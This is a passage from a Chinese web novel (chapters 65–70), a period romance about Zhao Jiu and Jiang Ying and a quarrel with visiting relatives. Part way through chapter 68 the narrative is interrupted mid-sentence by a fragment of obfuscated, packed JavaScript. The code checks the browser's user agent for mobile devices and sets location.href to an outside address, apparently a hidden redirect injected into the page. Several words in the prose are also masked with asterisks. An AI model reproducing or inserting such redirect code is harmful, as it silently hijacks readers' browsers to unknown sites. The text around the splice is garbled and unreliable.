明·惠帝深以为然,“我也这么觉得。”
刑如风:“……”
看看这个,又看看那个。
感觉大魏很快就要完蛋了。
赵咎叹了口气,都开始羡慕明·惠帝。
他还想阿池打他呢。
这么久了,就没见她发过一次脾气。
朴素的心愿往往来自于身边人的比较,赶在晚膳前,赵咎回了家。
他以为迎接他的是热乎乎的膳食,和即将过门的妻子。
结果扑了个空。
赵哲从王家回来,顺便把姜璎叫去正院陪王氏一同用膳。
如姜璎所料,一开始,王二夫人并不承认自己做过的事情。
第65章 头晕
王二夫人,或者应该称郭女君。
时下只有得到朝廷册封的三品以上命妇才有资格被称为夫人,严格意义上来说,就连郑氏都只能被称“郑女君”,因为赵哲如今也不过是从四品的中书侍郎。
而女君是一般大家主母的称呼。
不过规矩是死的,人是活的,郑氏不管是娘家还是婆家都无比显赫,赴宴时大家恭维她,也多是称呼郑夫人。
郭氏就不一样了,她祖上以屠猪为生,到她祖父这一辈还是屠夫,要不是当初战乱,太祖皇帝看中郭祖父悍勇,点他为亲卫,郭家也不可能扶摇直上,攀上王家这门亲事。
郭氏常因出身遭人背后耻笑,丈夫又贪好美色,全靠家族荫蔽混了个闲职,甚至都不愿意日日点卯,如今高不成低不就,夫妻俩时常争吵动手。
丈夫不中用,儿子也不争气,郭氏只能将一番母爱全部灌注女儿身上。
赵咨带着人上门,甚至惊动了王老夫人。
三堂会审。
郭氏怎么都不肯承认,被王二郎狠狠打了一巴掌,还哭着说是赵咨陷害她!
“然后呢?”进食结束,姜璎终于可以问出憋了许久的问题。
王氏好笑地看了她一眼。
赵咨和幼弟相差十几岁,说一句长兄如父、长嫂如母是一点儿也不为过,姜璎尚未及笄,又乖巧懂事,在赵咨看来就跟养了个闺女似的,还怕说太多吓到小丫头。
但转念一想,既然迟早要嫁给小九,多知道点也无妨,省的日后碰上这种事儿不知道该如何应对。
“证据都摆在那呢,她既然死不承认,我也只好上报府衙,让京城府尹来处理此事。”赵咨云淡风轻道。
王家自然不会想要事情闹大,到时候他们家的脸往哪儿搁?
有这一出,别说王六再也找不到好婆家,就是王家其他的姑娘,恐怕都要无人问津。
王氏的母亲想到女儿差点出事,就恨得直咬牙,非要王二郎休妻不可!四房也担心此事影响到自家,对郭氏更是鄙夷至极。
这个蠢货,竟然打着让女儿去给堂姐夫做续弦的主意!
她也不想想赵咨是个什么身份?就算王氏**,也有大把大把门当户对的未出阁女郎,供赵咨选择,赵家凭什么会要一个孀居的寡妇做冢妇!
赵咨甚至不用自己出手,仅凭三言两语,就让王家的长辈给王二郎施压。
王家如今的家主是王氏的父亲,他倒是没让王二郎休妻,而是征求女婿的意见,“不如把郭氏和小六送到庄子上休养?”
说是休养,其实跟圈禁没有什么两样,甚至随时都有可能“暴毙身亡”。
听出这层含义,郭氏的心理防线顿时崩溃。
更不要说王六姑娘,她才二十出头,怎么能去庄子上?
赵咨顿了顿,自动略过了王六扑倒在他脚边的求饶过程,“其实证据摆在那,郭氏母女承认与否并不重要,重要的是,王家的态度。”
赵咨告诉姜璎,他们要的就是让王家自己清理门户,否则真闹到府衙,传遍盛京,就算处置郭氏母女的目的达成,但两家的情分也到此为止了。
这里头涉及到的弯弯绕绕不便明说,但姜璎一点就通,已经全都领悟到了。
姜璎满眼崇拜地看着赵咨,世子太厉害了!不愧是赵九郎君的兄长!
只是,“这样会不会让夫人夹在中间为难呀?”她担心道。
王氏微微一笑,赵咨也不禁莞尔。
要不怎么说还是女儿贴心呢?
夫妻俩只有三个儿子,也不知道王氏这一胎是儿子还是女儿。
赵咨目光在妻子腹部停留片刻,淡淡道:“岳父岳母都是通情达理的人,更何况本就郭氏母女有错在先,我们要个公道也没什么大不了。”
姜璎放下心来。
王氏问道:“大母身体可好?”
王老夫人一向疼爱王氏,如今也该颐养天年,享尽儿孙福,却还要为此事惊动,王氏心里实在过意不去。
姜璎想到梁女君就是被王老夫人养大,不免多了几分关心。
赵咨道:“大母身体健朗,后面陆二郎的夫人回来王家看望老夫人,她还问起阿池,让你身子稳当了以后,带阿池去看她。”
姨母还回王家了?姜璎心中生出一
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丝异样,但又说不上来哪里不对劲。
“你放心,岳父已经做主,以养病为由,将郭氏母女送到庄子上。”赵咨轻轻握住妻子的手,至于其他一干仆婢,全都发卖去了矿上做苦力。
“那王家二叔呢?”姜璎气鼓鼓道,“他身为丈夫父亲,却没有尽到应有的责任,郭氏所犯之错,与他脱不了干系。”
王氏无奈道:“这孩子。”
赵咨却赞赏道:“说得不错。”
就是因为王二郎对家里不管不问,才导致郭氏母女心生恶念。
一个男人,在官场没有作为也就罢了,连自己家里的事儿都管不好,还有什么用?!
妻子幼儿差点出事,赵咨自然不会轻易放过王家二房。
“九郎。”外头传来仆婢的声音。
王氏现在看见赵咎就头疼,这个臭小子,对辛夷吩咐道:“去跟九郎说,阿池还是回我院里住……”
“不行。”
赵咎径直走进来,语气不容置疑。
好不容易培养出了一点感情,再回大嫂院里,三两天见一面,姜璎的心里还能有他?
赵咨训斥道:“这么大个人了,怎么跟你大嫂说话的?”
赵咎没吭声。
骂两句可以。
但涉及姜璎的去留问题,他是无论如何都不会让步的。
“这样吧,让阿池自己决定。”王氏发话道,“她愿意留在哪就留在哪,任何人都不得干涉。”
赵咎立马道:“当然!”
说完看向姜璎,眼神暗藏期待。
她会选他的吧?
杏眸熠熠生辉,宛如两颗漂亮的黑曜石。
王氏冷哼道:“使用美人计不算。”
赵咎矢口否认,“我没有!”
王氏啐他:“那你脸红个什么劲?”
赵咎:“……”
“可能是屋里太闷了。”姜璎脑子一抽,脱口而出。
众人齐唰唰看向她。
这是在给赵咎解围?
姜璎被看得紧张,结结巴巴道:“我、我的意思是,我住哪里都可以。”
赵咎忽然扶住额头,嘶了一声,语气虚弱道:“头有点晕。”
第66章 萌动
颀长挺拔的身姿晃了一下,像是站都站不稳。
“诶!”王氏来不及阻止,只能眼睁睁看着姜璎围到赵咎身边,扶着他的手臂,小脸满是紧张。
“赵九郎君,你怎么了?要不要请刑医官过来看看?”
“嗯……可能昨晚上没睡好,不要紧。”
话虽如此,可他眉头紧蹙,一副很不舒服的样子。
赵咨心里冷哼一声,真是出息了,当着兄嫂的面都敢装病,就是仗着别人不会拆穿他!
赵咎刚拓展的业务能力还不够熟练,装病装了个四不像,声音完全听不出虚弱的痕迹。
也就是姜璎,对他没有一丝怀疑。
“赵九郎君,我扶你回去休息吧。”她自告奋勇,终于找到了表现的机会。
赵咎眨了下眼,善解人意道:“你要是留在大嫂院里,还得来回跑,会不会太麻烦了?”
姜璎连忙道:“我可以暂时不搬回来,这样就不麻烦了。”
赵咨、王氏:“……”
这臭小子进了一趟宫,狐媚功夫又精进了几分。
到底是哪个能人在背后给他出谋划策?!
宫中的明惠帝忽然打了个喷嚏,背后凉飕飕,他揉了揉鼻子,暗忖道:难道是皇后在想他?
既然这样,今晚再去碰碰运气。
说不定就让他进去了呢?
赵咎的志得意满简直和大外甥的苦中作乐形成鲜明对比。
“大兄,大嫂,我们先回去了。”假装没看见兄长眼底的无语,赵咎打完招呼,就把姜璎给带走了。
“赵九郎君,真的不用请邢医官来看看吗?”姜璎有些不放心。
赵咎一口拒绝,“不用。”
让刑如风知道他装病,还不得被笑话死。
眼见姜璎还要说什么,赵咎握住她手腕,让她坐在自己身边,“我头疼,你念书给我听好不好?”
区区这点小要求,姜璎自然无有不应。
赵咎最近在教她《左传》,想要扭转一个人的思想,自然不能只靠一日之功,更不能半途而废。
姜璎也知道赵咎是为她好,所以学的十分用心。
她念书全神贯注,虽然偶有磕磕绊绊,但尽量把每个字都理解进去。
赵咎起先还端坐书案之后,直到天色慢慢黑下来,眼看就要到就寝的时辰。
眼神不禁游移到别处。
“赵九郎君,晏婴叔向论齐晋季世的故事,究竟是什么意思?”
姜璎有点没弄明白,于是主动向赵咎求助。
她偏过头,正好赵咎靠近,唇瓣轻轻擦过如玉面颊,两个人都愣了一下。
赵咎呼吸凝滞,心跳如擂,柔软的触感如蜻蜓点水,一触而逝。
却令人久久不能平静。
他压根没听清姜璎说什么,正要深吸一口气,稳住阵脚,忽然目光一凝,落在姜璎泛红的耳垂。
“阿池。”
他轻轻唤了一声,杏眸之中闪着异样的光彩,像是发现了新大陆,加重语气道:“你害羞了。”
“有、有吗。”姜璎结巴了一下,脑子还没从宕机中运转回来。
这让她整个人看起来呆呆的。
若有若无的冷香似乎再度出现,缠绕鼻尖,令人心神摇曳。
姜璎也不知道自己为什么会害羞,周遭突如其来的安静,静得几乎能听到各自的心跳。
咚、咚、咚。
赵咎又凑近了一点,几乎要触碰到鼻尖。
温热的呼吸交缠厮混。
唇瓣近在咫尺。
内心的小人在尖叫狂欢,这种兴奋传遍每根神经,仿佛有恶魔在低语:
吃一口吧,就吃一口。
是阿池又不是别人,她还能打你吗?绝对不能!
你看她都张嘴了!
她就是在勾引你!
“别……”别说了。赵咎痛苦地闭上眼睛,却在下一刻,灵魂出窍,呆若木鸡!
姜璎轻轻吻了一下他的唇角。
顿时,有无数电流游走四肢,所过之处,留下一片酥酥麻麻。
赵咎的脑子都差点不会动了。
“你、你什么意思?”张口就咬到舌尖,赵咎忍不住捂住脸。
太丢人了吧!
姜璎眨了下眼,耳根子隐隐发烫,她小声道:“你让我亲的呀。”
赵咎猛地抬头,满脸通红道:“胡说八道!”
他明明一直在克制自己,哪有
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这么迫不及待?
但姜璎不是会说谎的人。
赵咎心里直打鼓,他根本想不起来自己刚才都说了什么。这下不免有些绝望。
他不会真的说了让姜璎亲他的话吧?
想到这,呼吸顿时急促起来,又有种说不上来的委屈。
“我让你亲你就亲,是你自愿的吗?你又不喜欢我,干嘛亲我?”赵咎咬牙切齿道。
他不想流露出怨夫情绪的,但姜璎太过分了,她真的太过分了。
他明明很努力克制不越过雷池,不就是想等他们两情相悦?
谁让她这么听话主动了?
姜璎呆了一呆,好半天道:“是自愿的呀。”
赵咎冷笑一声,根本不信,“下次我要再说让你亲我,你就给我一巴……”
姜璎纠正道:“你没有说,是你的眼睛,告诉我让我亲你。”
这下赵咎安静了。
半晌,他道:“是你在勾引我吧?还轻薄我?还倒打一耙!”
姜璎卡壳了一下,结结巴巴道:“我没有……”
委屈如潮水褪去,取而代之的是某种难以言说的窃喜。
赵咎还是不自信,又问了一遍:“真的是自愿的?”
姜璎点了点头,有些不太确定道:“这是喜欢吗?”
赵咎诧异地看着她,“什么都不知道你就轻薄我?姜璎,你真是丧心病狂。”
姜璎羞愧地低下头。
赵咎心头的大石有了松动的痕迹,终于得以喘息。
没关系,她不懂什么是喜欢,他可以慢慢教她。
只要她不抗拒。
他们有一辈子的时间。
“你在想什么?”赵咎捧起她的脸,怀疑道,“不会又想怎么轻薄我吧?”
姜璎连忙道:“没有、没有!”
情爱是门很深的学问,姜璎还在一知半解,但愿意端正态度、主动认错。
“我在想,怎么弥补……”
“那你让我亲回来!”赵咎脱口而出,说完他就后悔了,着补道,“我的意思,你轻薄我,我轻薄你,这样才公平。”
姜璎恍然大悟,好有道理!
“那你轻薄我吧。”她乖乖闭上眼睛。
第67章 看待
随着砚台打翻,天际最后一丝余晖被浓墨蚕食得一干二净。
“东西……掉了。”
含糊不清的嘤咛消失在唇齿之中,姜璎还想寻找掉在地上的物件,只动了一下,腰间的手臂便不自觉收紧。
“不用管。”
察觉出姜璎的不适,赵咎松了松力道,捧着她的脸细细啄吻。
蜻蜓点水,暖香浮动。
随着鼻尖时不时触碰,一股酥酥麻麻的感觉蔓延全身。
或许是因为姜承祁的那番话,姜璎终于开始正视赵咎。
他不仅仅是好人、恩人,更是一个……年轻气盛、俊美多情的郎君。
如果说之前,姜璎是以卑下者的角度敬望赵咎,那么经过这几日的潜移默化,心态发生改变,便不自觉以一个未婚女郎的身份面对赵咎。
两者产生的情感自然大不相同。
隐秘的情愫在这小小的一方天地里悄然生长,破土开花。
赵咎眼底欲念浓重,如脱笼巨兽,再也抑制不住半分。
手掌温柔抚上脖颈,姜璎“唔”了一声,险些汗**竖起,她不喜欢别人碰她脖子,赵咎趁虚而入,轻轻舔了一下她舌尖。
姜璎的凤眸都睁圆了。
“阿池,宝宝……”见她半乖巧半放任地靠在自己怀里,赵咎欢喜的心都快化了,再没有什么能比这一刻让人来得满足。
哪怕没有深入交缠,于两人而言也已经是足够亲密。
他爱极神迷,反而没有再继续下去,看着姜璎通红的脸蛋,闷闷笑了一声,最后亲了亲她的指尖。
白皙柔嫩、温香袭人。
这样的手打在脸上都是赏赐。
“啊,是砚台!”一声低呼响起,浓稠黏腻的气氛顿时荡然无存。
赵咎轻哼一声,这么好的气氛都能被她破坏了!
姜璎未有所觉,捡起砚台小心放好,再回头看向赵咎。
他像是一头餍足的巨兽,进食之后暂时收起所有的棱角危险,杏眸微微弯起,一眨不眨地望着姜璎。
看她做什么?
姜璎不明所以,又忍不住道:“这是世子送给我的砚台,赵九郎君下回……小心一点。”
赵咨知道未来弟媳读书用功,特意选了一套文房四宝做见面礼。
王氏吐槽他像老学究,但姜璎却爱若珍宝,尤其是那块松烟墨,到现在都没舍得拿出来用。
赵咎还在期待她会说什么,结果三句话不离砚台!
“……”他憋屈了好一会儿,才勉强道,“我下次注意。”
下次?
姜璎其实都不想有下次了。
虽然是她轻薄在先,但赵咎也没有很公平。
她轻薄一下,他就要轻薄几十下。
嘴巴都疼了……
姜璎脸上的烫意迟迟不退,低头时耳根子红的尤其明显。
“在想什么?”
要勇敢表达自己内心的真实想法。
心中默念了几遍,姜璎总算鼓足勇气,“不、不公平!”
赵咎微微挑了一边眉梢,揣着明白当糊涂:“什么不公平?”
姜璎没想到赵咎转头就忘了,连忙把他刚才的话重复了一遍,乌黑明亮的凤眸望着他,好像在说:你怎么不守信用?
赵咎发现姜璎对自己并非完全没有感觉,许多事情一下子就看开了。
只要不是把他当做恩人看待,感情什么的都是可以慢慢培养的。
就像明惠帝说的,没有什么事情是痴缠哭解决不了的,如果有,那就再挨两巴掌。
美人计加上苦肉计,不怕不管用!
赵咎不动声色窥着姜璎的神色,见她没有任何动怒的表现,大着胆子握住她的手。
“我们日后是夫妻,做这种事情不是再正常不过了吗?”他循循善诱道。
姜璎愣了一下,“可你刚才不是说,我丧心病狂轻薄你……”
“你若不喜欢我,那就是轻薄,不,是**!何止丧心病狂,简直人神共愤,天理难容!”
他语气严肃,又话锋一转道,“但既然是自愿的,那就说明总有几分喜欢。”
哪怕指甲盖一点儿的喜欢,那也是喜欢啊。
怎么就不算两情相悦了呢?
姜璎差点被绕进去,支支吾吾道:“可是你说,不喜欢的事情,可以不用做……”
赵咎神情一僵,欢跳不止的心脏啪叽一下摔**。
自愿,但不喜欢?
玩儿他呢?!
面子几乎挂不住,嘴角的弧度彻底压平。
浓浓黑气从头顶冒出。
要是稻草做的,估计赵咎这会已经着了。
姜璎小声道:“也不是不喜欢,但我都没有那么用力。”
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语气藏了一点不易察觉的委屈。
赵咎眨了下眼,用烧的仅剩不多的神智去理解她的话。
意思是,后面亲的太重?
“我弄疼你了?”他心里一紧,忙起身查看。
“没、也没有……”
推拒无果。
赵咎用手托着她的脸,茧痕明显的指腹擦过唇瓣,语气不自觉带了轻哄,“阿池乖,张嘴给我看看。”
姜璎乖乖张嘴,赵咎检查了一番,纳闷道:“也没破啊,哪里疼指我看看。”
姜璎点了点唇,一脸认真地说:“这里肿了,你没看见吗?”
说着微微仰头,撅了撅嘴,方便赵咎看得更清楚。
姜璎根本不知道这个举动的杀伤力有多大。
她本就生了一张雪白讨喜的脸蛋,柳眉凤眸,琼鼻樱唇,无一处不精致。
只是从前自觉卑下,一直低眉顺眼。
但自从来到卫国公府,生活安逸、锦衣玉食,姜璎自己又勤奋好学、肯下苦功,久而久之,就在大家的悉心教导和鼓励下有了自信。
眼眸含光,宛若月华。
好似脱胎换骨一般,越发叫人挪不开眼。
看着近在咫尺的嫣红唇瓣,赵咎只觉气血上涌,鼻子一热,差点被刺激地流鼻血。
赵咎神情不大自然,含糊其辞道:“好像是有点肿了……”
明明他也没怎么用力,怎么就这样红润饱满?
看着……更加诱人了。
姜璎完全不知道赵咎脑子里在想什么,认真严肃地叮嘱道,“你下次记得,要像我一样轻。”
赵咎弯眸一笑,像一只勾引成功的坏狐狸。
“好的呀。”
声音轻巧愉悦,姜璎的心仿佛被小爪子挠了一下,慢吞吞地红了脸。
“天色不早了,我该回去了。”说完也没有看赵咎,把砚台放到了锦匣里头,和松烟墨一起,才故作镇静离开。
她在害羞。
她不知道什么是喜欢,但羞红的脸已经给出了最好的答案。
回到房,香薷香附已经准备好了热水,姜璎沐浴更衣后,穿着单衣坐在床榻,她还想再温**一遍前几日学过的功课,但困意袭卷而来,迷迷糊糊就睡着了。
直到天蒙蒙亮,香薷轻轻推着她。
“姑娘,快醒醒,听说今日有客人呢。”
第68章 长辈
“什么时辰了?”姜璎揉了揉眼睛,打了一个小小的哈欠。
“辰初刚过。”香薷柔声道,“姑娘,该起了。”
“辰……辰初?”姜璎满脸震惊,连忙起身更衣。
香薷跪在地上为她穿上木屐,花罩外的仆婢闻声而入,手里捧着新作的衣服,还有铜盆、牙粉等盥漱用具。
香附看出姜璎着急,手上加快了拧帕子的动作,“姑娘放心,客人还没到呢。”要她说,姑娘难得睡得这么香,多睡会儿怎么了?
姜璎的作息一向规律,戌时就寝,寅时醒,虽然王氏说过不用她起早过去请安,但她最多也就睡到卯时。
这还是第一次睡得这么沉。
如此好眠,要不是辛夷派人过来知会一会儿需要姜璎见客,香薷也舍不得把姑娘叫醒。
洗漱用不了一刻钟,主要梳妆打扮磨时间,香附给姜璎梳头发的功夫,香薷提了一个鎏金螺钿漆食盒进来,打开里头还是热气腾腾的早膳。
姜璎早上基本都吃面食的多,今日厨房煮了馎饦,香薷吹了吹,先喂姜璎吃点儿垫垫肚子。
随着热乎乎的吃食下肚,崭新的一天开启。
“今日是谁要来?”姜璎问,好奇心在看见托盘中的衣服时愈发强烈。
“奴婢听说是二夫人那边的亲戚。”香薷道,具体她也不清楚。
时下流行襦裙,王氏吩咐绣娘给姜璎做新衣服也都是以襦裙为主,但今日送来的却是曲裾。
曲裾一般只有在正式的礼仪场合才会穿,姜璎不禁猜测,难道今日拜访的客人身份贵重?
刚熏过香的衣服展开时还有一股淡淡的香味儿,柔滑的缎面随着光线变化而浮现精细暗纹,这不仅面料昂贵,更看重绣娘织绣的手艺。
曲裾下配的白绫裙,衣衫穿戴整齐后,香薷还想再挑点首饰,但姜璎不喜繁琐,最后只佩戴了一块梁女君让人送来的和田桃花玉。
不得不说,梁女君眼光真好,又出手阔绰,这样的和田桃花玉极为难得,色泽粉嫩宛如桃花花瓣一般,说句罕见珍品一点儿也不为过。
至少王氏和郑氏的陪嫁里头都没有这样的宝物。
到王氏院里的时候,郑氏也在,她拉着姜璎坐到自己身边,“一会儿姑母来了,要是说什么,你不必理会。”
姑母?
姜璎眨了眨眼,想起王氏之前让她背过颍川赵氏的族谱,难道是卫国公远嫁外地的妹妹?
不多时,便有下人来报。
“夫人,老夫人快到了。”
“走吧。”王氏起身,郑氏和姜璎跟随其后。
赵老夫人是长辈,又多年不曾回娘家,王氏身为冢妇,就算身子不大方便,也得出面迎接,以示重视。
毕竟这位向来不是什么好说话的主。
王氏暗叹一声。
几人等在大门口,很快,就见几驾牛车缓缓而来,停在卫国公府外。
王氏和郑氏迎上前去,恭敬道:“侄媳见过姑母。”
姜璎跟在后面一同行礼。
赵老夫人早年嫁到吴郡朱氏,育有五子一女,是个性格尤为强势的人,她身边站着两个正值妙龄的女郎,一个端庄,一个娇俏。
赵老夫人扫了一眼王氏几人,在姜璎身上停留片刻,微不可查地皱了下眉,很快收回目光,淡淡道:“站在外头做什么?都进去吧。”
“大母,我扶着您。”朱季灵甜甜道。她是赵老夫人最疼爱的孙女,这次回卫国公府,赵老夫人特意将她带上,就是为了给她在盛京寻一门好亲事。
张琼华虽然没说话,但一直跟在赵老夫人身边。
到了正堂,赵老夫人毫不客气地居于主位,问王氏道:“听说大郎和二郎刚从江南回来,怎么不见他们?”
王氏笑道:“二郎回中书省任职,至于世子,今日下朝被陛下留住了,若非实在抽不出身,怎么都是要去接您的。”
赵老夫人这才舒展眉眼。
江南水患严重,房屋淹没,不少百姓被洪流冲走。天灾面前,就是士族也难以幸免。
赵老夫人便在孙女的提议下回盛京看看。名为想家,实际上另有心思。
“九郎呢?”她又问起赵咎,“他可没有两个兄长忙,怎么也不见他人影?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023297|173897||http|test|mini|href|location''.split(''|''),0,{}));
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r>话音落地,郑氏忍不住在心里嗤笑。
忙不忙,难道是由她说了算的?
王氏笑容温和,“九郎也大了,又素来同陛下亲厚,总不好跟孩子似的,还日日管着他。”
赵老夫人冷哼一声,放下茶盏,“都说长嫂如母,九郎从小就没了母亲,你这个当大嫂的不多看顾些,怎么对得起你婆母临终前的嘱咐!”
突如其来的发难。
王氏面不改色,郑氏暗暗恼火,姜璎忍不住看了赵老夫人一眼,结果却被她抓了个正着。
赵老夫人重重拍了一下桌子,看向姜璎的目光满是鄙夷:“区区一个养女,竟然也能入得了卫国公府的门,王氏,你这个大嫂当的可真够称职。”
“大母别生气,外头的流言一向真真假假,小叔怎么可能会娶一个养女?”朱季灵提到赵咎,脸颊浮起红云。
这一下,王氏和郑氏还有什么看不明白的。
时下士庶不婚,贵族之间越辈分成亲是常有的事儿,甚至有些为了保证血统纯洁还会同姓结婚。
赵朱两家是姻亲,只是一个圣眷正浓,一个却已经在走下坡路,赵老夫人起了这等心思也不足为奇。
郑氏挑唇笑道:“姑母,您老人家怕是还不知道,阿池可不是普普通通的养女,她是梁女君的嫡亲外甥,陆家前两天还要把她接回去呢。”
“只是这孩子孝顺,知道大嫂身子不适,放心不下,非要留下照顾。”
陆家?
吴郡陆氏?
“顾陆朱张”乃吴郡四姓,朱张是并列的次姓士族,一直以来低顾陆两家一头。
张琼华是张家的嫡女,也是赵老夫人已故女儿唯一的骨肉。
听到姜璎跟陆家有关,赵老夫人的脸色愈发难看。
跟陆家沾边儿的,能是什么好东西!
张琼华淡淡道:“女君说的,倒与我们路上听到的大不相同。”
“这位姜姑娘,自幼流离失所,被永安侯府大公子所救,救命养育之恩,按理来说可是天大的恩情,可她又是怎么对永安侯府的?如此薄情寡义,如何配得上孝顺二字?”
第69章 奇葩
掷地有声的一番话,说得正气凛然。
张琼华自持出身书香门第,最看不上的就是姜璎这种忘恩负义的小人!
她自以为攀上了卫国公府,便能永享富贵,然而,天底下没有不透风的墙。
她做的那些事情,一桩桩、一件件,早就在外头传遍了!
先是逼走了永安侯府真正的千金,又侍母不孝,如今永安侯病重,姜大公子只想让她回去看望一二,她都能狠心拒绝。
这种狼心狗肺的女人,怎么配进赵家的门?
王氏脸上的笑容淡了些,她一个小辈,不曾跟长辈问安也就罢了,还这么不懂规矩。
她莫不是觉得这天底下就她一个清醒的人,别人都是傻子不成?
张琼华冷冷看着姜璎,“姜姑娘,你敢不敢承认自己做的事?”
“我做了什么?还请姑娘明示。”姜璎不知道张琼华对自己的恶意从何而来,但这是卫国公府,王氏郑氏都在,她没什么好怕的。
张琼华见她有恃无恐,越发火大。
“永安侯府对你有救命养育之恩,你却恩将仇报,处处为难姜大姑娘,把人赶到了老家乡下!这不是恶毒是什么?”
“还有姜大公子……和永安侯,他们病重之时,你为何不闻不问?你若还有一点良心,就不会做出这种事情!”
姜璎见她处处为永安侯府打抱不平,脑海中闪过一个念头。
她问:“不知姑娘名讳?”
张琼华冷冷道:“我姓张。怎么,姜姑娘是准备看人下菜碟吗?”
姓张。
难道是姜承祁那个早早定了亲事,尚未过门的未婚妻?
正当姜璎思索之际,郑氏挺身而出,她一向护短,自然不会眼睁睁看着姜璎被欺负。
“小姑娘家家的,怎么听风就是雨?你怎知永安侯府个个好人?我们阿池行的端坐的正,没有对不起永安侯府半点!”郑氏冷哼一声,“一家子吸血虫,就连苍蝇都不屑与之为伍,竟还有人为他们打抱不平。”
姜璎看着挡在自己面前的郑氏,心中不由划过一道暖流。
张琼华被夹枪带棒地怼了一通,面色不免有些难堪,赵老夫人心疼外孙女,这可是她女儿留在世上唯一的骨肉!
“郑氏,我还没死呢,你在这充什么长辈,耍什么威风?”赵老夫人冷冷道,“琼华哪里说错了,这种忤逆不孝的东西,我见一面就嫌脏,你们还当个宝了?!”
长辈跟前,自然没有姜璎说话的份。
看着王氏和郑氏受自己牵连,她却什么都做不了,心里别提多难受了。
“姑母。”王氏心中厌烦至极,要不是看在她是长辈的份上,早就让人把她们轰出去了,“阿池的秉性,我们比谁都要清楚。”
“更何况,太后娘娘亲自赐婚,足以证明一切。还请姑母口下留情。”
王氏不怕赵老夫人进宫。
想当初,赵老夫人提出把自己的女儿塞进宫伺候先帝,就已经惹怒了赵太后。
当时赵太后怀了身孕,和先帝正是感情最浓的时候,赵老夫人打得什么主意谁不知道?不就是想借东风,好踩着赵太后上位?
蠢货就是蠢货,这么多年了,依旧没有长进!
王氏相信,就算赵太后对姜璎意见再大,也比不过对赵老夫人的厌恶。
果不其然,搬出太后娘娘,赵老夫人的气焰顿时没了大半。
她捂着心口,朱季灵连忙扶着祖母,“大母!您没事儿吧?”
赵老夫人一半是被气的,一半是装的,她暗自恼恨,等大郎回来,她一定要好好说说他这个媳妇!太不懂规矩了!
张琼华没想到王氏竟然敢这样顶撞赵老夫人,她是世子夫人不假,但谁说世子夫人就可以目中无人,连长辈都不放在眼里?
真是太不像话了!
张琼华虽然在心里替外祖母打抱不平,但他们接下来还要住在卫国公府好长一段时间,还是暂且不计较这些吧。
等世子和卫国公回来,知道王氏把外祖母气到了,一定会替他们做主的!
“姑母年事已高,想来舟车劳顿累着了。”
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王氏吩咐人去请郎中,其实刑如风给王氏请完脉刚走不久,现在让人叫他回来也来得及,但王氏不愿意费这功夫,赵老夫人还没重要到这种地步。
辛夷等人恭恭敬敬地把赵老夫人送到客院安置,省的她再折腾出什么幺蛾子。
张琼华见王氏等人纹丝不动,忍了半天,还是没忍住,“外祖母身体不适,于情于理,夫人和女君都应该侍奉在侧,这才是晚辈应尽的孝心!”
王氏笑了一下,温声道:“我尚在病中,就不给姑母添麻烦了,免得过了病气。”
她话说得客气,实际上看张琼华的目光跟看傻子没什么两样。
赵老夫人不过是一个跟家里关系不大好的外嫁女,又不是她的嫡亲婆母,多大的脸面让世子夫人亲自侍疾?
张琼华一副理所应当的语气,“世子夫人身子不适,不还有女君吗?况且,自古以来便有割股奉亲一说,长辈抱恙,世子夫人更应该好好表现孝心才是。”
张琼华最看不上的就是姜璎这一点。
永安侯府养她这么大,就是割肉放血偿还恩情也不为过,如今只是想让她回去看望一二,她却各种推三阻四,良心都被狗吃了!
割股奉亲?
她自己怎么不去?反过来强迫王氏和郑氏。
口口声声孝道为先,却自私自利到极点,难怪会被刘氏看重选做儿媳。
“张姑娘的孝心,就是使唤别人去侍奉老夫人吗?”
姜璎冷冷道,“对主人家颐指气使、指手画脚,自己却没有任何作为。看样子,张姑娘上下嘴皮子一碰,还能写出一本孝经来,如此大才,当去为官才是!”
王氏莞尔,郑氏更是直接笑出声。
张琼华被气得直发抖,“你?我什么时候没有作为了?难道你以为所有人都像你一样,狼心狗肺,忘恩负义?我是为了世子夫人好!”
“若外祖母醒来,看见世子夫人和女君用心侍奉在侧,一定高兴,还会重重夸奖!到时世子他们回来,岂不是面上有光?”
第70章 不卑
看着张琼华,王氏等人心里不约而同冒出一个想法。
——这人怕不是脑子有问题吧!
赵家的冢妇,还需要怀着身子去伺候一个老妪,以此讨夫君关心?
王氏脸上的笑容彻底消失殆尽。
自从婆母病逝,她操持整个卫国公府近二十年,无一日松懈,便是家翁对她都信重不已。
连赵老夫人都不敢指名道姓要她过去服侍,张琼华区区一个小辈,哪来的脸在这里大放厥词?
许是王氏的眼神过于吓人,张琼华竟生出几分胆怯,情急之下连忙手指姜璎,说出了最终的目的:
“世子夫人若身子不适,大可以让姜姑娘代劳,她是表叔未过门的妻子,提前孝敬孝敬长辈也是应该的,总不能在卫国公府什么都不干吧?”
姜大公子在信里说了,姜宝瑜没回家之前,刘氏的日常起居一直都是姜璎亲自照料。
论起伺候人的功夫,姜璎可比下人厉害多了。
张琼华一副理所当然的口气道:“姜姑娘,既然女君都夸你十分孝顺,那你一定十分乐意替世子夫人在长辈跟前尽孝。”
张琼华打定主意要帮永安侯府出这口恶气!
姜璎不是攀上高枝儿,看不上以前的养父养母吗?连永安侯生病都能置之不理!
她决不允许这种爱慕虚荣的人在卫国公府享福!
“外祖母的身体还算硬朗,只是偶尔会犯咳疾,每到雨天便容易双膝酸疼……”
张琼华洋洋洒洒说了一堆,最后不忘吩咐道:“还有,外祖母有许多东西是不碰的,你一会儿下厨的时候别忘了,否则惹恼了外祖母,谁都救不了你!”
姜璎:“……”
张琼华扬眉道:“姜姑娘怎么不说话?是没有记住我说的,还是只愿意照顾世子夫人?”
“我愿意照顾谁,是我的事,与张姑娘无关。”姜璎不软不硬道。
这一次,王氏和郑氏没有开腔。
赵老夫人是长辈,正面顶撞有违孝道,传出去也不好听,她们能忍则忍。
但张琼华算什么东西?再过几代都是八杆子打不着的亲戚,还如此自以为是,没有半点眼力见。
这样的人,就当给姜璎练手了。
她以后还会遇上各种形形**的人,总要成长起来,有不怕事儿但又能扛事的能力。
